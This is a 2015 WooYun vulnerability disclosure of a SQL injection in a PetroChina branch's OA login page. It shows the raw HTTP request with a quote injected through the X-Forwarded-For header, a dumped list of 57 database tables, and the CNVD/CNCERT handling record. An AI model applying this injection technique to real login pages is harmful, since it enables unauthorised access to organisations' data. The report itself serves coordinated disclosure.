当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150594

漏洞标题:中国石油某分公司OA系统存在SQL注入

相关厂商:中国石油

漏洞作者: 路人甲

提交时间:2015-10-30 21:53

修复时间:2015-12-18 15:04

公开时间:2015-12-18 15:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-30: 细节已通知厂商并且等待厂商处理中
2015-11-03: 厂商已经确认,细节仅向厂商公开
2015-11-13: 细节向核心白帽子及相关领域专家公开
2015-11-23: 细节向普通白帽子公开
2015-12-03: 细节向实习白帽子公开
2015-12-18: 细节向公众公开

简要描述:

中国石油某OA存在SQL注入

详细说明:

POST /Login1.aspx HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**:8080/Login1.aspx
Cookie: ASP.NET_SessionId=k5buk355k0wzkwymk54owzy3
X-Forwarded-For: **.**.**.**'
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
__VIEWSTATE=%2FwEPDwULLTE5OTkxNTMyOTVkZC%2FxeQSdZ4eJYLqEiYjhLANZe3I1&__EVENTVALIDATION=%2FwEWBQKBwrmMCgKvt6W7BALAsIjcCwKU8abfBgKM54rGBvmRUhl4M%2B1JmYWr28ehnma41gF0&Text_User=123&Text_PWD=123&txtValue=%E5%AF%86%E7%A0%81&Button1=%E7%99%BB+%E5%BD%95


1.png


Database: HSBG
[57 tables]
+---------------------------------+
| dbo.ActivityArrangement |
| dbo.ActivityRemind |
| dbo.BASE_Application |
| dbo.BASE_Model |
| dbo.BASE_OA_Inform |
| dbo.BASE_Operation |
| dbo.BASE_OrganiseUnit |
| dbo.BASE_OrganiseUnit_Rule |
| dbo.BASE_Role |
| dbo.BASE_Role_Model |
| dbo.BASE_Role_New |
| dbo.BASE_Role_Rule |
| dbo.BASE_User |
| dbo.BASE_User_Class |
| dbo.BASE_User_OrganiseUnit |
| dbo.BASE_User_Position |
| dbo.BASE_User_Role |
| dbo.BASE_User_Role_New |
| dbo.BASE_User_Rule |
| dbo.BASE_User_Score |
| dbo.BASE_User_Syn |
| dbo.Comprasion |
| dbo.DutyAttach |
| dbo.HSBG_DEL |
| dbo.HSBG_Message |
| dbo.HSBG_UserInfo |
| dbo.IPFilter |
| dbo.MessagePool |
| dbo.Notice |
| dbo.Office_Message |
| dbo.Office_MessageType |
| dbo.Office_MessageType_bak |
| dbo.Office_Message_Log |
| dbo.Office_Message_Rank |
| dbo.Office_Message_ReplyMessage |
| dbo.Office_Message_Send_Lync |
| dbo.Office_Message_Status |
| dbo.Office_Minutes_List |
| dbo.Office_Minutes_Record |
| dbo.Office_Minutes_Schedule |
| dbo.Office_Schedule_Message |
| dbo.Office_Tasks_Remind |
| dbo.Office_UserComplain |
| dbo.PROC_BG12_CARMANAGEMENT |
| dbo.PersonTb_SystemUserID |
| dbo.RemindPerson |
| dbo.SSO_Application |
| dbo.SSO_User_Message |
| dbo.Sys_Suggestions |
| dbo.V_CurrentMonth_Message |
| dbo.V_CurrentWeek_Message |
| dbo.V_NoReplyMessageID |
| dbo.V_PA_CalcMonth |
| dbo.V_PA_SHOW |
| dbo.V_UserOrganiseUnit |
| dbo.Workflow_CallCar |
| dbo.sysdiagrams |
+---------------------------------+

漏洞证明:

POST /Login1.aspx HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**:8080/Login1.aspx
Cookie: ASP.NET_SessionId=k5buk355k0wzkwymk54owzy3
X-Forwarded-For: **.**.**.**'
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
__VIEWSTATE=%2FwEPDwULLTE5OTkxNTMyOTVkZC%2FxeQSdZ4eJYLqEiYjhLANZe3I1&__EVENTVALIDATION=%2FwEWBQKBwrmMCgKvt6W7BALAsIjcCwKU8abfBgKM54rGBvmRUhl4M%2B1JmYWr28ehnma41gF0&Text_User=123&Text_PWD=123&txtValue=%E5%AF%86%E7%A0%81&Button1=%E7%99%BB+%E5%BD%95


1.png


Database: HSBG
[57 tables]
+---------------------------------+
| dbo.ActivityArrangement |
| dbo.ActivityRemind |
| dbo.BASE_Application |
| dbo.BASE_Model |
| dbo.BASE_OA_Inform |
| dbo.BASE_Operation |
| dbo.BASE_OrganiseUnit |
| dbo.BASE_OrganiseUnit_Rule |
| dbo.BASE_Role |
| dbo.BASE_Role_Model |
| dbo.BASE_Role_New |
| dbo.BASE_Role_Rule |
| dbo.BASE_User |
| dbo.BASE_User_Class |
| dbo.BASE_User_OrganiseUnit |
| dbo.BASE_User_Position |
| dbo.BASE_User_Role |
| dbo.BASE_User_Role_New |
| dbo.BASE_User_Rule |
| dbo.BASE_User_Score |
| dbo.BASE_User_Syn |
| dbo.Comprasion |
| dbo.DutyAttach |
| dbo.HSBG_DEL |
| dbo.HSBG_Message |
| dbo.HSBG_UserInfo |
| dbo.IPFilter |
| dbo.MessagePool |
| dbo.Notice |
| dbo.Office_Message |
| dbo.Office_MessageType |
| dbo.Office_MessageType_bak |
| dbo.Office_Message_Log |
| dbo.Office_Message_Rank |
| dbo.Office_Message_ReplyMessage |
| dbo.Office_Message_Send_Lync |
| dbo.Office_Message_Status |
| dbo.Office_Minutes_List |
| dbo.Office_Minutes_Record |
| dbo.Office_Minutes_Schedule |
| dbo.Office_Schedule_Message |
| dbo.Office_Tasks_Remind |
| dbo.Office_UserComplain |
| dbo.PROC_BG12_CARMANAGEMENT |
| dbo.PersonTb_SystemUserID |
| dbo.RemindPerson |
| dbo.SSO_Application |
| dbo.SSO_User_Message |
| dbo.Sys_Suggestions |
| dbo.V_CurrentMonth_Message |
| dbo.V_CurrentWeek_Message |
| dbo.V_NoReplyMessageID |
| dbo.V_PA_CalcMonth |
| dbo.V_PA_SHOW |
| dbo.V_UserOrganiseUnit |
| dbo.Workflow_CallCar |
| dbo.sysdiagrams |
+---------------------------------+
没深入了。

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-03 15:02

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评论